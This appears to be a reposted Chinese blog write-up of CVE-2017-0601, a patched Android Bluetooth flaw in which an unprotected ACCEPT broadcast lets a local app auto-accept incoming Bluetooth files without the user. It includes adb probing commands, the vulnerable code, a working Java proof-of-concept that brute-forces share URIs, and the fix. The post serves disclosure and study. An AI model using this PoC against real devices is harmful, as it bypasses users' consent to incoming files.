zoukankan      html  css  js  c++  java
  • 蓝牙App漏洞系列分析之一CVE-2017-0601

    蓝牙App漏洞系列分析之一CVE-2017-0601

    0x01 概要

    2017年5月的 Android 安全公告修复了我们提交的一个蓝牙提权中危漏洞,这个漏洞尽管简单,但比较有意思,能够使本地恶意 App 绕过用户交互,使用户强制接收外部传入的蓝牙文件。漏洞概要如下:

    • CVE: CVE-2017-0601
    • BugID: A-35258579
    • 严重性: 中
    • 影响的 Google 设备: All
    • Updated AOSP versions: 7.0, 7.1.1, 7.1.2

    0x02 漏洞分析

    蓝牙App暴露了一个广播接收器 com.android.bluetooth.opp.BluetoothOppReceiver ,本地普通 App 可以向这个 Receiver 发送广播,查看其 OnReceive 方法,包含了对多种传入广播 Intent Action 的处理,但是大多数 Intent Action 处于保护状态,简单用 adb shell 可以一一对其测试,比如

    ```` adb shell am broadcast -a android.btopp.intent.action.OPEN

    提示如下错误,说明action处于保护状态

    Broadcasting: Intent { act=android.btopp.intent.action.OPEN } java.lang.SecurityException: Permission Denial: not allowed to send broadcast android.btopp.intent.action.OPEN from pid=26382, uid=2000 at android.os.Parcel.readException(Parcel.java:1683) at android.os.Parcel.readException(Parcel.java:1636) at android.app.ActivityManagerProxy.broadcastIntent(ActivityManagerNative.java:3507) at com.android.commands.am.Am.sendBroadcast(Am.java:772) at com.android.commands.am.Am.onRun(Am.java:404) at com.android.internal.os.BaseCommand.run(BaseCommand.java:51) at com.android.commands.am.Am.main(Am.java:121) at com.android.internal.os.RuntimeInit.nativeFinishInit(Native Method) at com.android.internal.os.RuntimeInit.main(RuntimeInit.java:262)

    但是 `android.btopp.intent.action.ACCEPT` 这个 Intent Action ,却没有保护

    adb shell am broadcast -a android.btopp.intent.action.ACCEPT

    Broadcasting: Intent { act=android.btopp.intent.action.ACCEPT }Broadcast completed: result=0

    进一步分析 AOSP 代码,发现传入这个 Action 的 Intent 时,会将 Intent 携带 Uri 指向的 db 进行更新,更新为用户确认状态。

    else if (action.equals(Constants.ACTION_ACCEPT)) { if (V) Log.v(TAG, "Receiver ACTION_ACCEPT"); Uri uri = intent.getData(); ContentValues values = new ContentValues(); values.put(BluetoothShare.USER_CONFIRMATION,BluetoothShare.USER_CONFIRMATION_CONFIRMED); context.getContentResolver().update(uri, values, null, null); cancelNotification(context, uri);

    这个 db 其实就是蓝牙文件共享的 provider ,对应的 uri 为 `content://con.android.bluetooth.opp/btopp` ,当通过蓝牙共享接收、发送文件时,该数据库都会增加新的条目,记录接收、发送的状态。该 provider 记录的信息可以参考 BluetoothShare 

    /**

    • Exposes constants used to interact with the Bluetooth Share manager's content
    • provider.
    • @hide */

    public final class BluetoothShare implements BaseColumns { private BluetoothShare() { }

    /**
     * The permission to access the Bluetooth Share Manager
     */
    public static final String PERMISSION_ACCESS = "android.permission.ACCESS_BLUETOOTH_SHARE";
    
    /**
     * The content:// URI for the data table in the provider
     */
    public static final Uri CONTENT_URI = Uri.parse("content://com.android.bluetooth.opp/btopp");
    因此,如果我们在 Intent 中传入某个蓝牙共享对应文件的 uri ,那么它在蓝牙文件共享 Provider 中的状态就会被更改为用户确认状态。这里继续进行猜想,进一步,如果我们刚好通过蓝牙传入某个文件,将其状态改为用户确认,是否文件就无需确认,自动接收了呢?幸运的是,的确如此。
    
    #### 0x03 漏洞利用
    
    这里还有一个问题要解决,`content://com.android.bluetooth.opp/btopp` 只是整个 provider 的 uri ,我们如何知道刚刚通过蓝牙传入文件的 uri 呢?通过暴力穷举,下面的 PoC 简单地解决了这个问题,

    public class MainActivity extends AppCompatActivity { Button m_btnAccept = null;

    public static final String ACTION_ACCEPT = "android.btopp.intent.action.ACCEPT";
    public static final String BLUETOOTH_SHARE_URI = "content://com.android.bluetooth.opp/btopp/";
    
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
    
        m_btnAccept = (Button)findViewById(R.id.accept);
        m_btnAccept.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                Intent intent = new Intent();
                intent.setComponent(new ComponentName("com.android.bluetooth",
                        "com.android.bluetooth.opp.BluetoothOppReceiver"));
                intent.setAction(ACTION_ACCEPT);
                // Guess the incoming bluetooth share uri, normally it increases from 1 by 1 and could be guessed easily.
                // Then Send broadcast to change the incoming file status
                for (int i = 0 ; i < 255; i++) {
                    String uriString = BLUETOOTH_SHARE_URI + Integer.toString(i);
                    intent.setData(Uri.parse(uriString));
                    sendBroadcast(intent);
                }
            }
        });
    }

    }

    #### 0x04 测试方法
    
    通过蓝牙向测试手机发送文件,此时,手机将会出现提示,要用户拒绝或者接受,这个对话框将会出现约1分钟
    
    ![](https://images.seebug.org/content/images/2017/06/thumb-Mon_1705-4_1150978582736040_7fdbf1eb4b01373.png-w331s)
    
    
    此时运行 POC ,文件将会自动接收,因此这是一个本地用户交互绕过。如果有恶意程序利用该漏洞一直在后台运行,那么手机将会被强制接收任意蓝牙传入的文件。
    
    #### 0x05 修复
    
    Google 在 Framework 的 AndroidManifest 文件中,将 `android.btopp.intent.action.ACCEPT` 和 DECLINE 设为保护状态,普通 App 无法发出携带这些 action 的 Intent 。

    diff --git a/core/res/AndroidManifest.xml b/core/res/AndroidManifest.xml index ec712bb..011884c 100644 --- a/core/res/AndroidManifest.xml +++ b/core/res/AndroidManifest.xml

    @@ -199,6 +199,8 @@ 

    + + 

    ```

    0x06时间线

      • 2017.02.09——提交Google
      • 2017.03.01——漏洞确认
      • 2017.05.01——补丁发布
      • 2017.05.04——漏洞公开
  • 相关阅读:
    December 23rd 2016 Week 52nd Friday
    December 22nd 2016 Week 52nd Thursday
    December 21st 2016 Week 52nd Wednesday
    December 20th 2016 Week 52nd Tuesday
    December 19th 2016 Week 52nd Sunday
    December 18th 2016 Week 52nd Sunday
    uva294(唯一分解定理)
    uva11624Fire!(bfs)
    fzu2150Fire Game(双起点bfs)
    poj3276Face The Right Way
  • 原文地址:https://www.cnblogs.com/HacTF/p/8052242.html
Copyright © 2011-2022 走看看